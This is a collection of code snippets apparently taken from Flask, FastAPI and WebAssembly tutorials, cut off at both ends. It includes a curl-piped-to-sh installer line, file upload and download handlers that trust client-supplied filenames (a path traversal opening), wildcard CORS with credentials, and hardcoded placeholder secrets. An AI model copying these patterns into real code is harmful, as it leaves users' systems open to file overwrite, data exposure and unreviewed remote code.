            return redirect(request.url)

        file = request.files['file']

        if file.filename == '':
            flash('No selected file', 'danger')
            return redirect(request.url)

        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(filepath)
            flash('File uploaded successfully', 'success')
            return redirect(url_for('index'))

    return render_template('upload.html')

import unittest
from app import create_app, db
from app.models import User, Post
from config import TestingConfig

class UserModelTestCase(unittest.TestCase):
    def setUp(self):
        self.app = create_app(TestingConfig)
        self.app_context = self.app.app_context()
        self.app_context.push()
        db.create_all()

    def tearDown(self):
        db.session.remove()
        db.drop_all()
        self.app_context.pop()

    def test_password_hashing(self):
        user = User(username='john', email='john@example.com')
        user.set_password('password')
        self.assertFalse(user.check_password('wrong'))
        self.assertTrue(user.check_password('password'))

class RoutesTestCase(unittest.TestCase):
    def setUp(self):
        self.app = create_app(TestingConfig)
        self.client = self.app.test_client()
        self.app_context = self.app.app_context()
        self.app_context.push()
        db.create_all()

    def tearDown(self):
        db.session.remove()
        db.drop_all()
        self.app_context.pop()

    def test_index_page(self):
        response = self.client.get('/')
        self.assertEqual(response.status_code, 200)

    def test_login(self):
        # Create user
        user = User(username='test', email='test@example.com')
        user.set_password('password')
        db.session.add(user)
        db.session.commit()

        # Test login
        response = self.client.post('/auth/login', data={
            'email': 'test@example.com',
            'password': 'password'
        }, follow_redirects=True)

        self.assertEqual(response.status_code, 200)

if __name__ == '__main__':
    unittest.main()

def create_app(config_class=Config):
    app = Flask(__name__)
    app.config.from_object(config_class)

    db.init_app(app)
    migrate.init_app(app, db)

    return app

# Use environment variables
from dotenv import load_dotenv
load_dotenv()

SECRET_KEY = os.environ.get('SECRET_KEY')
DATABASE_URL = os.environ.get('DATABASE_URL')

# Always handle exceptions
try:
    # Database operation
    db.session.commit()
except Exception as e:
    db.session.rollback()
    app.logger.error(f'Error: {str(e)}')
    flash('An error occurred', 'danger')

# CSRF protection
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

# Security headers
from flask_talisman import Talisman
Talisman(app, content_security_policy=None)

# Rate limiting
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)

@app.route('/api/data')
@limiter.limit("5 per minute")
def api_data():
    return jsonify({'data': []})

Flask==3.0.0
Flask-SQLAlchemy==3.1.1
Flask-Migrate==4.0.5
Flask-Login==0.6.3
Flask-WTF==1.2.1
Flask-CORS==4.0.0
Flask-JWT-Extended==4.5.3
python-dotenv==1.0.0
gunicorn==21.2.0
psycopg2-binary==2.9.9

# Install
pip install gunicorn

# Run
gunicorn -w 4 -b 0.0.0.0:8000 "app:create_app()"

# With config file
gunicorn -c gunicorn.conf.py "app:create_app()"

bind = '0.0.0.0:8000'
workers = 4
threads = 2
timeout = 30
accesslog = '-'
errorlog = '-'
loglevel = 'info'

FROM python:3.11-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

CMD ["gunicorn", "-c", "gunicorn.conf.py", "app:create_app()"]

version: '3.8'

services:
  web:
    build: .
    ports:
      - "8000:8000"
    environment:
      - FLASK_ENV=production
      - DATABASE_URL=postgresql://user:pass@db:5432/mydb
    depends_on:
      - db

  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_PASSWORD: password
      POSTGRES_DB: mydb
    volumes:
      - postgres_data:/var/lib/postgresql/data

volumes:
  postgres_data:

# Python 3.7+ required
python3 --version
pip --version

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install FastAPI and Uvicorn
pip install fastapi
pip install "uvicorn[standard]"

# Install additional dependencies
pip install python-multipart  # For file uploads
pip install python-jose[cryptography]  # For JWT
pip install passlib[bcrypt]  # For password hashing
pip install sqlalchemy  # For database
pip install alembic  # For migrations
pip install pydantic[email]  # For email validation

fastapi-app/
├── app/
│   ├── __init__.py
│   ├── main.py
│   ├── config.py
│   ├── database.py
│   ├── dependencies.py
│   ├── models/
│   │   ├── __init__.py
│   │   └── user.py
│   ├── schemas/
│   │   ├── __init__.py
│   │   └── user.py
│   ├── routers/
│   │   ├── __init__.py
│   │   ├── users.py
│   │   └── auth.py
│   ├── services/
│   │   └── auth.py
│   └── utils/
│       └── security.py
├── tests/
│   └── test_main.py
├── alembic/
├── .env
├── requirements.txt
└── README.md

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"message": "Hello World"}

@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
    return {"item_id": item_id, "q": q}

# Run with: uvicorn main:app --reload

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from app.routers import users, auth, items
from app.database import engine
from app import models

models.Base.metadata.create_all(bind=engine)

app = FastAPI(
    title="My API",
    description="A production-ready FastAPI application",
    version="1.0.0",
    docs_url="/docs",
    redoc_url="/redoc"
)

# CORS middleware
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

# Include routers
app.include_router(auth.router, prefix="/auth", tags=["auth"])
app.include_router(users.router, prefix="/users", tags=["users"])
app.include_router(items.router, prefix="/items", tags=["items"])

@app.get("/")
async def root():
    return {"message": "Welcome to FastAPI"}

@app.get("/health")
async def health_check():
    return {"status": "healthy"}

from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    app_name: str = "FastAPI App"
    database_url: str = "sqlite:///./test.db"
    secret_key: str = "your-secret-key-here"
    algorithm: str = "HS256"
    access_token_expire_minutes: int = 30

    class Config:
        env_file = ".env"

settings = Settings()

from fastapi import FastAPI, HTTPException, status
from pydantic import BaseModel
from typing import List, Optional

app = FastAPI()

class Item(BaseModel):
    name: str
    description: Optional[str] = None
    price: float
    tax: Optional[float] = None

# GET
@app.get("/items")
async def get_items():
    return [{"id": 1, "name": "Item 1"}]

# GET with path parameter
@app.get("/items/{item_id}")
async def get_item(item_id: int):
    return {"item_id": item_id}

# POST
@app.post("/items", status_code=status.HTTP_201_CREATED)
async def create_item(item: Item):
    return item

# PUT
@app.put("/items/{item_id}")
async def update_item(item_id: int, item: Item):
    return {"item_id": item_id, **item.dict()}

# PATCH
@app.patch("/items/{item_id}")
async def partial_update_item(item_id: int, item: dict):
    return {"item_id": item_id, "updated_fields": item}

# DELETE
@app.delete("/items/{item_id}", status_code=status.HTTP_204_NO_CONTENT)
async def delete_item(item_id: int):
    return None

from typing import Optional, List
from enum import Enum

class SortOrder(str, Enum):
    asc = "asc"
    desc = "desc"

@app.get("/items")
async def list_items(
    skip: int = 0,
    limit: int = 10,
    q: Optional[str] = None,
    sort: SortOrder = SortOrder.asc,
    tags: List[str] = []
):
    return {
        "skip": skip,
        "limit": limit,
        "q": q,
        "sort": sort,
        "tags": tags
    }

# Required query parameter
@app.get("/search")
async def search(q: str):  # Required
    return {"q": q}

from uuid import UUID
from datetime import date

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    return {"user_id": user_id}

@app.get("/orders/{order_id}")
async def get_order(order_id: UUID):
    return {"order_id": str(order_id)}

@app.get("/posts/{year}/{month}/{day}")
async def get_posts_by_date(year: int, month: int, day: int):
    post_date = date(year, month, day)
    return {"date": post_date}

# Path with validation
from fastapi import Path

@app.get("/items/{item_id}")
async def get_item(
    item_id: int = Path(..., title="The ID of the item", ge=1)
):
    return {"item_id": item_id}

from pydantic import BaseModel, Field, EmailStr, validator
from typing import Optional, List
from datetime import datetime

class UserBase(BaseModel):
    email: EmailStr
    username: str = Field(..., min_length=3, max_length=50)
    full_name: Optional[str] = None

class UserCreate(UserBase):
    password: str = Field(..., min_length=8)

    @validator('password')
    def password_strength(cls, v):
        if not any(char.isdigit() for char in v):
            raise ValueError('Password must contain at least one digit')
        if not any(char.isupper() for char in v):
            raise ValueError('Password must contain at least one uppercase letter')
        return v

class UserUpdate(BaseModel):
    email: Optional[EmailStr] = None
    full_name: Optional[str] = None

class User(UserBase):
    id: int
    is_active: bool = True
    created_at: datetime

    class Config:
        from_attributes = True

class UserInDB(User):
    hashed_password: str

# Product models
class Product(BaseModel):
    name: str
    description: Optional[str] = None
    price: float = Field(..., gt=0, description="Price must be greater than zero")
    tax: Optional[float] = 0
    tags: List[str] = []

class ProductResponse(Product):
    id: int
    created_at: datetime

    class Config:
        from_attributes = True

from fastapi import Body

@app.post("/users")
async def create_user(user: UserCreate):
    return user

# Multiple body parameters
@app.post("/items")
async def create_item(
    item: Item,
    user: User,
    importance: int = Body(...)
):
    return {"item": item, "user": user, "importance": importance}

# Embed single body parameter
@app.post("/items/{item_id}")
async def update_item(
    item_id: int,
    item: Item = Body(..., embed=True)
):
    return {"item_id": item_id, "item": item}

from fastapi import Response, status

@app.post("/users", response_model=User, status_code=status.HTTP_201_CREATED)
async def create_user(user: UserCreate):
    # Don't return password in response
    return user

# Multiple response models
from fastapi.responses import JSONResponse

@app.get("/items/{item_id}")
async def get_item(item_id: int):
    if item_id == 0:
        return JSONResponse(
            status_code=404,
            content={"message": "Item not found"}
        )
    return {"item_id": item_id}

# Response with Union types
from typing import Union

@app.get("/items/{item_id}", response_model=Union[Product, dict])
async def get_item(item_id: int):
    if item_id > 0:
        return product
    return {"message": "No item found"}

from fastapi import Depends, HTTPException, status
from typing import Optional

# Simple dependency
async def common_parameters(q: Optional[str] = None, skip: int = 0, limit: int = 100):
    return {"q": q, "skip": skip, "limit": limit}

@app.get("/items")
async def read_items(commons: dict = Depends(common_parameters)):
    return commons

# Class-based dependency
class CommonQueryParams:
    def __init__(self, q: Optional[str] = None, skip: int = 0, limit: int = 100):
        self.q = q
        self.skip = skip
        self.limit = limit

@app.get("/users")
async def read_users(commons: CommonQueryParams = Depends()):
    return commons

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker, Session
from app.config import settings

engine = create_engine(
    settings.database_url,
    connect_args={"check_same_thread": False} if "sqlite" in settings.database_url else {}
)

SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()

def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()

from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from jose import JWTError, jwt
from sqlalchemy.orm import Session

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="auth/token")

async def get_current_user(
    token: str = Depends(oauth2_scheme),
    db: Session = Depends(get_db)
):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Could not validate credentials",
        headers={"WWW-Authenticate": "Bearer"},
    )

    try:
        payload = jwt.decode(token, settings.secret_key, algorithms=[settings.algorithm])
        user_id: int = payload.get("sub")
        if user_id is None:
            raise credentials_exception
    except JWTError:
        raise credentials_exception

    user = db.query(User).filter(User.id == user_id).first()
    if user is None:
        raise credentials_exception

    return user

# Use dependency
@app.get("/users/me", response_model=User)
async def read_users_me(current_user: User = Depends(get_current_user)):
    return current_user

from sqlalchemy import Boolean, Column, Integer, String, DateTime, ForeignKey
from sqlalchemy.orm import relationship
from sqlalchemy.sql import func
from app.database import Base

class User(Base):
    __tablename__ = "users"

    id = Column(Integer, primary_key=True, index=True)
    email = Column(String, unique=True, index=True, nullable=False)
    username = Column(String, unique=True, index=True, nullable=False)
    full_name = Column(String)
    hashed_password = Column(String, nullable=False)
    is_active = Column(Boolean, default=True)
    is_superuser = Column(Boolean, default=False)
    created_at = Column(DateTime(timezone=True), server_default=func.now())
    updated_at = Column(DateTime(timezone=True), onupdate=func.now())

    items = relationship("Item", back_populates="owner")

class Item(Base):
    __tablename__ = "items"

    id = Column(Integer, primary_key=True, index=True)
    title = Column(String, index=True)
    description = Column(String)
    owner_id = Column(Integer, ForeignKey("users.id"))
    created_at = Column(DateTime(timezone=True), server_default=func.now())

    owner = relationship("User", back_populates="items")

from sqlalchemy.orm import Session
from app.models.user import User
from app.schemas.user import UserCreate, UserUpdate
from app.utils.security import get_password_hash

def get_user(db: Session, user_id: int):
    return db.query(User).filter(User.id == user_id).first()

def get_user_by_email(db: Session, email: str):
    return db.query(User).filter(User.email == email).first()

def get_users(db: Session, skip: int = 0, limit: int = 100):
    return db.query(User).offset(skip).limit(limit).all()

def create_user(db: Session, user: UserCreate):
    hashed_password = get_password_hash(user.password)
    db_user = User(
        email=user.email,
        username=user.username,
        full_name=user.full_name,
        hashed_password=hashed_password
    )
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return db_user

def update_user(db: Session, user_id: int, user: UserUpdate):
    db_user = get_user(db, user_id)
    if db_user:
        update_data = user.dict(exclude_unset=True)
        for key, value in update_data.items():
            setattr(db_user, key, value)
        db.commit()
        db.refresh(db_user)
    return db_user

def delete_user(db: Session, user_id: int):
    db_user = get_user(db, user_id)
    if db_user:
        db.delete(db_user)
        db.commit()
    return db_user

from fastapi import APIRouter, Depends, HTTPException, status
from sqlalchemy.orm import Session
from typing import List
from app.database import get_db
from app.schemas.user import User, UserCreate, UserUpdate
from app.services import user as user_service
from app.dependencies import get_current_active_user

router = APIRouter()

@router.get("/", response_model=List[User])
def read_users(
    skip: int = 0,
    limit: int = 100,
    db: Session = Depends(get_db)
):
    users = user_service.get_users(db, skip=skip, limit=limit)
    return users

@router.get("/{user_id}", response_model=User)
def read_user(user_id: int, db: Session = Depends(get_db)):
    db_user = user_service.get_user(db, user_id=user_id)
    if db_user is None:
        raise HTTPException(status_code=404, detail="User not found")
    return db_user

@router.post("/", response_model=User, status_code=status.HTTP_201_CREATED)
def create_user(user: UserCreate, db: Session = Depends(get_db)):
    db_user = user_service.get_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail="Email already registered")
    return user_service.create_user(db=db, user=user)

@router.put("/{user_id}", response_model=User)
def update_user(
    user_id: int,
    user: UserUpdate,
    db: Session = Depends(get_db),
    current_user: User = Depends(get_current_active_user)
):
    if current_user.id != user_id and not current_user.is_superuser:
        raise HTTPException(status_code=403, detail="Not authorized")

    db_user = user_service.update_user(db, user_id=user_id, user=user)
    if db_user is None:
        raise HTTPException(status_code=404, detail="User not found")
    return db_user

@router.delete("/{user_id}", status_code=status.HTTP_204_NO_CONTENT)
def delete_user(
    user_id: int,
    db: Session = Depends(get_db),
    current_user: User = Depends(get_current_active_user)
):
    if current_user.id != user_id and not current_user.is_superuser:
        raise HTTPException(status_code=403, detail="Not authorized")

    db_user = user_service.delete_user(db, user_id=user_id)
    if db_user is None:
        raise HTTPException(status_code=404, detail="User not found")

from passlib.context import CryptContext
from datetime import datetime, timedelta
from jose import jwt
from app.config import settings

pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")

def verify_password(plain_password: str, hashed_password: str) -> bool:
    return pwd_context.verify(plain_password, hashed_password)

def get_password_hash(password: str) -> str:
    return pwd_context.hash(password)

def create_access_token(data: dict, expires_delta: timedelta = None):
    to_encode = data.copy()
    if expires_delta:
        expire = datetime.utcnow() + expires_delta
    else:
        expire = datetime.utcnow() + timedelta(minutes=15)

    to_encode.update({"exp": expire})
    encoded_jwt = jwt.encode(to_encode, settings.secret_key, algorithm=settings.algorithm)
    return encoded_jwt

from fastapi import APIRouter, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from sqlalchemy.orm import Session
from datetime import timedelta
from app.database import get_db
from app.schemas.auth import Token
from app.services import user as user_service
from app.utils.security import verify_password, create_access_token
from app.config import settings

router = APIRouter()

@router.post("/token", response_model=Token)
async def login(
    form_data: OAuth2PasswordRequestForm = Depends(),
    db: Session = Depends(get_db)
):
    user = user_service.get_user_by_email(db, email=form_data.username)

    if not user or not verify_password(form_data.password, user.hashed_password):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Incorrect email or password",
            headers={"WWW-Authenticate": "Bearer"},
        )

    if not user.is_active:
        raise HTTPException(status_code=400, detail="Inactive user")

    access_token_expires = timedelta(minutes=settings.access_token_expire_minutes)
    access_token = create_access_token(
        data={"sub": str(user.id)},
        expires_delta=access_token_expires
    )

    return {"access_token": access_token, "token_type": "bearer"}

@router.post("/register", response_model=User, status_code=status.HTTP_201_CREATED)
async def register(user: UserCreate, db: Session = Depends(get_db)):
    db_user = user_service.get_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail="Email already registered")

    return user_service.create_user(db=db, user=user)

from fastapi import Security, HTTPException, status
from fastapi.security.api_key import APIKeyHeader

API_KEY = "your-api-key-here"
api_key_header = APIKeyHeader(name="X-API-Key")

async def verify_api_key(api_key: str = Security(api_key_header)):
    if api_key != API_KEY:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid API Key"
        )
    return api_key

@app.get("/secure-data")
async def get_secure_data(api_key: str = Depends(verify_api_key)):
    return {"data": "sensitive information"}

from fastapi import BackgroundTasks
import smtplib
from email.mime.text import MIMEText

def send_email(email: str, subject: str, body: str):
    # Email sending logic
    print(f"Sending email to {email}: {subject}")

def write_log(message: str):
    with open("log.txt", mode="a") as log:
        log.write(message + "\n")

@app.post("/send-notification/{email}")
async def send_notification(
    email: str,
    background_tasks: BackgroundTasks
):
    background_tasks.add_task(send_email, email, "Welcome!", "Thanks for signing up")
    background_tasks.add_task(write_log, f"Notification sent to {email}")
    return {"message": "Notification sent in the background"}

# Multiple background tasks
@app.post("/users")
async def create_user(
    user: UserCreate,
    background_tasks: BackgroundTasks,
    db: Session = Depends(get_db)
):
    db_user = user_service.create_user(db, user)

    background_tasks.add_task(send_email, user.email, "Welcome", "Thanks for joining!")
    background_tasks.add_task(write_log, f"User created: {user.email}")

    return db_user

from fastapi import WebSocket, WebSocketDisconnect
from typing import List

class ConnectionManager:
    def __init__(self):
        self.active_connections: List[WebSocket] = []

    async def connect(self, websocket: WebSocket):
        await websocket.accept()
        self.active_connections.append(websocket)

    def disconnect(self, websocket: WebSocket):
        self.active_connections.remove(websocket)

    async def send_personal_message(self, message: str, websocket: WebSocket):
        await websocket.send_text(message)

    async def broadcast(self, message: str):
        for connection in self.active_connections:
            await connection.send_text(message)

manager = ConnectionManager()

@app.websocket("/ws/{client_id}")
async def websocket_endpoint(websocket: WebSocket, client_id: int):
    await manager.connect(websocket)
    try:
        while True:
            data = await websocket.receive_text()
            await manager.send_personal_message(f"You wrote: {data}", websocket)
            await manager.broadcast(f"Client #{client_id} says: {data}")
    except WebSocketDisconnect:
        manager.disconnect(websocket)
        await manager.broadcast(f"Client #{client_id} left the chat")

from fastapi import File, UploadFile
from typing import List
import shutil
from pathlib import Path

UPLOAD_DIR = Path("uploads")
UPLOAD_DIR.mkdir(exist_ok=True)

@app.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    file_path = UPLOAD_DIR / file.filename

    with file_path.open("wb") as buffer:
        shutil.copyfileobj(file.file, buffer)

    return {
        "filename": file.filename,
        "content_type": file.content_type,
        "size": file_path.stat().st_size
    }

@app.post("/upload-multiple")
async def upload_multiple_files(files: List[UploadFile] = File(...)):
    file_info = []

    for file in files:
        file_path = UPLOAD_DIR / file.filename
        with file_path.open("wb") as buffer:
            shutil.copyfileobj(file.file, buffer)

        file_info.append({
            "filename": file.filename,
            "size": file_path.stat().st_size
        })

    return {"files": file_info}

from fastapi.responses import FileResponse, StreamingResponse
import io

@app.get("/download/{filename}")
async def download_file(filename: str):
    file_path = UPLOAD_DIR / filename

    if not file_path.exists():
        raise HTTPException(status_code=404, detail="File not found")

    return FileResponse(file_path, filename=filename)

@app.get("/stream")
async def stream_file():
    def iterfile():
        with open("large_file.txt", mode="rb") as file:
            yield from file

    return StreamingResponse(iterfile(), media_type="text/plain")

from fastapi.testclient import TestClient
from app.main import app
from app.database import Base, engine, get_db
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

# Test database
SQLALCHEMY_DATABASE_URL = "sqlite:///./test.db"
test_engine = create_engine(SQLALCHEMY_DATABASE_URL, connect_args={"check_same_thread": False})
TestingSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=test_engine)

def override_get_db():
    try:
        db = TestingSessionLocal()
        yield db
    finally:
        db.close()

app.dependency_overrides[get_db] = override_get_db

client = TestClient(app)

# Test functions
def test_read_root():
    response = client.get("/")
    assert response.status_code == 200
    assert response.json() == {"message": "Welcome to FastAPI"}

def test_create_user():
    Base.metadata.create_all(bind=test_engine)

    response = client.post(
        "/users",
        json={
            "email": "test@example.com",
            "username": "testuser",
            "password": "TestPass123"
        }
    )
    assert response.status_code == 201
    data = response.json()
    assert data["email"] == "test@example.com"
    assert "id" in data

    Base.metadata.drop_all(bind=test_engine)

def test_login():
    Base.metadata.create_all(bind=test_engine)

    # Create user
    client.post(
        "/auth/register",
        json={
            "email": "test@example.com",
            "username": "testuser",
            "password": "TestPass123"
        }
    )

    # Login
    response = client.post(
        "/auth/token",
        data={
            "username": "test@example.com",
            "password": "TestPass123"
        }
    )
    assert response.status_code == 200
    assert "access_token" in response.json()

    Base.metadata.drop_all(bind=test_engine)

def test_authenticated_route():
    # Get token
    response = client.post("/auth/token", data={"username": "test@example.com", "password": "TestPass123"})
    token = response.json()["access_token"]

    # Access protected route
    response = client.get(
        "/users/me",
        headers={"Authorization": f"Bearer {token}"}
    )
    assert response.status_code == 200

# Use modular structure with routers
app/
├── routers/
│   ├── users.py
│   ├── items.py
│   └── auth.py
├── models/
├── schemas/
├── services/
└── utils/

from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    database_url: str
    secret_key: str

    class Config:
        env_file = ".env"

from fastapi import HTTPException, Request
from fastapi.responses import JSONResponse

@app.exception_handler(ValueError)
async def value_error_handler(request: Request, exc: ValueError):
    return JSONResponse(
        status_code=400,
        content={"message": str(exc)}
    )

import asyncio
import httpx

@app.get("/external-api")
async def call_external_api():
    async with httpx.AsyncClient() as client:
        response = await client.get("https://api.example.com/data")
        return response.json()

import time
from fastapi import Request

@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
    start_time = time.time()
    response = await call_next(request)
    process_time = time.time() - start_time
    response.headers["X-Process-Time"] = str(process_time)
    return response

fastapi==0.104.1
uvicorn[standard]==0.24.0
sqlalchemy==2.0.23
alembic==1.12.1
pydantic[email]==2.5.0
python-jose[cryptography]==3.3.0
passlib[bcrypt]==1.7.4
python-multipart==0.0.6
python-dotenv==1.0.0

# Development
uvicorn app.main:app --reload --host 0.0.0.0 --port 8000

# Production
uvicorn app.main:app --host 0.0.0.0 --port 8000 --workers 4

# With Gunicorn
gunicorn app.main:app --workers 4 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:8000

FROM python:3.11-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY ./app ./app

CMD ["uvicorn", "app.main:app", "--host", "0.0.0.0", "--port", "8000"]

version: '3.8'

services:
  api:
    build: .
    ports:
      - "8000:8000"
    environment:
      - DATABASE_URL=postgresql://user:password@db:5432/mydb
      - SECRET_KEY=${SECRET_KEY}
    depends_on:
      - db

  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_PASSWORD: password
      POSTGRES_DB: mydb
    volumes:
      - postgres_data:/var/lib/postgresql/data

volumes:
  postgres_data:

┌─────────────────────────────────────────────────┐
│         Traditional Web Development             │
│  JavaScript (interpreted/JIT compiled)          │
│  - Limited performance                          │
│  - Single language choice                       │
└─────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────┐
│         WebAssembly Era                         │
│  JavaScript + Wasm (pre-compiled binary)        │
│  - Near-native performance                      │
│  - Multiple language support                    │
│  - Reuse existing codebases                     │
└─────────────────────────────────────────────────┘

// Loading a WebAssembly module
const response = await fetch('module.wasm');
const bytes = await response.arrayBuffer();
const { instance } = await WebAssembly.instantiate(bytes);

// Call exported function
const result = instance.exports.add(5, 3);
console.log(result); // 8

// Creating memory
const memory = new WebAssembly.Memory({
  initial: 1,  // 1 page = 64KB
  maximum: 10  // Max 10 pages = 640KB
});

// Accessing memory
const buffer = new Uint8Array(memory.buffer);
buffer[0] = 42;

const table = new WebAssembly.Table({
  initial: 2,
  element: 'anyfunc'
});

const global = new WebAssembly.Global({
  value: 'i32',
  mutable: true
}, 42);

console.log(global.value); // 42
global.value = 100;

┌──────────────────────────────────────────┐
│    Source Code (C/C++/Rust/etc.)        │
└──────────────┬───────────────────────────┘
               │ Compile
               ▼
┌──────────────────────────────────────────┐
│    WebAssembly Binary (.wasm)            │
└──────────────┬───────────────────────────┘
               │ Load & Instantiate
               ▼
┌──────────────────────────────────────────┐
│    WebAssembly VM (in Browser)           │
│    - Stack-based execution               │
│    - JIT compilation                     │
│    - Sandboxed environment               │
└──────────────┬───────────────────────────┘
               │ Execute
               ▼
┌──────────────────────────────────────────┐
│    JavaScript Interop & DOM Access       │
└──────────────────────────────────────────┘

// Using a Wasm crypto library
const wasmCrypto = await loadWasmCrypto();
const hash = wasmCrypto.sha256(data);

// Wasm-based compression
const compressed = wasmModule.compress(largeData);
const decompressed = wasmModule.decompress(compressed);

#include <stdio.h>

int add(int a, int b) {
    return a + b;
}

int main() {
    printf("Hello from WebAssembly!\n");
    return 0;
}

# Install Emscripten
git clone https://github.com/emscripten-core/emsdk.git
cd emsdk
./emsdk install latest
./emsdk activate latest
source ./emsdk_env.sh

# Compile to Wasm
emcc hello.c -o hello.html

// Load and use the module
const Module = await createModule();
const result = Module._add(5, 3);
console.log(result); // 8

(module
  (func $add (param $a i32) (param $b i32) (result i32)
    local.get $a
    local.get $b
    i32.add
  )
  (export "add" (func $add))
)

# Using wat2wasm (from WABT toolkit)
wat2wasm hello.wat -o hello.wasm

# Install Emscripten SDK
git clone https://github.com/emscripten-core/emsdk.git
cd emsdk
./emsdk install latest
./emsdk activate latest

#include <emscripten.h>

extern "C" {
    EMSCRIPTEN_KEEPALIVE
    int fibonacci(int n) {
        if (n <= 1) return n;
        return fibonacci(n - 1) + fibonacci(n - 2);
    }
}

emcc math.cpp -o math.js \
  -s EXPORTED_FUNCTIONS='["_fibonacci"]' \
  -s EXPORTED_RUNTIME_METHODS='["ccall","cwrap"]'

const Module = await createModule();
const fib = Module.cwrap('fibonacci', 'number', ['number']);
console.log(fib(10)); // 55

# Add Wasm target
rustup target add wasm32-unknown-unknown

# Install wasm-pack
curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn add(a: i32, b: i32) -> i32 {
    a + b
}

#[wasm_bindgen]
pub fn greet(name: &str) -> String {
    format!("Hello, {}!", name)
}
}
[package]
name = "wasm-example"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
wasm-bindgen = "0.2"

wasm-pack build --target web

import init, { add, greet } from './pkg/wasm_example.js';

await init();
console.log(add(5, 3));        // 8
console.log(greet("World"));   // "Hello, World!"

npm install -g assemblyscript

export function add(a: i32, b: i32): i32 {
  return a + b;
}

export function factorial(n: i32): i32 {
  if (n <= 1) return 1;
  return n * factorial(n - 1);
}

asc assembly/index.ts --outFile build/optimized.wasm --optimize

const { add, factorial } = await WebAssembly.instantiateStreaming(
  fetch('build/optimized.wasm')
).then(obj => obj.instance.exports);

console.log(add(5, 3));      // 8
console.log(factorial(5));   // 120

package main

import (
    "syscall/js"
)

func add(this js.Value, args []js.Value) interface{} {
    return args[0].Int() + args[1].Int()
}

func main() {
    js.Global().Set("add", js.FuncOf(add))
    <-make(chan bool) // Keep the program running
}

GOOS=js GOARCH=wasm go build -o main.wasm main.go

const go = new Go();
const result = await WebAssembly.instantiateStreaming(
  fetch('main.wasm'),
  go.importObject
);
go.run(result.instance);

// Call Go function
const sum = add(5, 3);

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
extern "C" {
    // Import JavaScript console.log
    #[wasm_bindgen(js_namespace = console)]
    fn log(s: &str);

    // Import JavaScript alert
    fn alert(s: &str);
}

#[wasm_bindgen]
pub fn greet(name: &str) {
    log(&format!("Hello, {}!", name));
    alert(&format!("Welcome, {}!", name));
}
}
// Instantiate with imports
const importObject = {
  env: {
    consoleLog: (arg) => console.log(arg),
    jsMultiply: (a, b) => a * b
  }
};

const { instance } = await WebAssembly.instantiateStreaming(
  fetch('module.wasm'),
  importObject
);

// Call exported function
instance.exports.wasmFunction();

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn reverse_string(s: String) -> String {
    s.chars().rev().collect()
}
}
import { reverse_string } from './pkg';
console.log(reverse_string("Hello")); // "olleH"

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn sum_array(arr: &[i32]) -> i32 {
    arr.iter().sum()
}
}
import { sum_array } from './pkg';
const arr = new Int32Array([1, 2, 3, 4, 5]);
console.log(sum_array(arr)); // 15

// Create memory (1 page = 64KB)
const memory = new WebAssembly.Memory({
  initial: 1,   // Initial size: 1 page
  maximum: 100  // Max size: 100 pages
});

// Access as typed array
const uint8View = new Uint8Array(memory.buffer);
const uint32View = new Uint32Array(memory.buffer);

// Write data
uint8View[0] = 42;
uint32View[1] = 0xDEADBEEF;

// Grow memory
memory.grow(1); // Add 1 page (64KB)

const memory = new WebAssembly.Memory({ initial: 1 });

const importObject = {
  js: { mem: memory }
};

const { instance } = await WebAssembly.instantiateStreaming(
  fetch('module.wasm'),
  importObject
);

// Access shared memory
const buffer = new Uint8Array(memory.buffer);

#include <emscripten.h>

EMSCRIPTEN_KEEPALIVE
void writeToMemory(int offset, int value) {
    int* ptr = (int*)offset;
    *ptr = value;
}

┌────────────────────────────────────────┐
│  WebAssembly Linear Memory             │
├────────────────────────────────────────┤
│  Stack (grows downward)                │ ← SP (Stack Pointer)
│  ↓                                     │
│                                        │
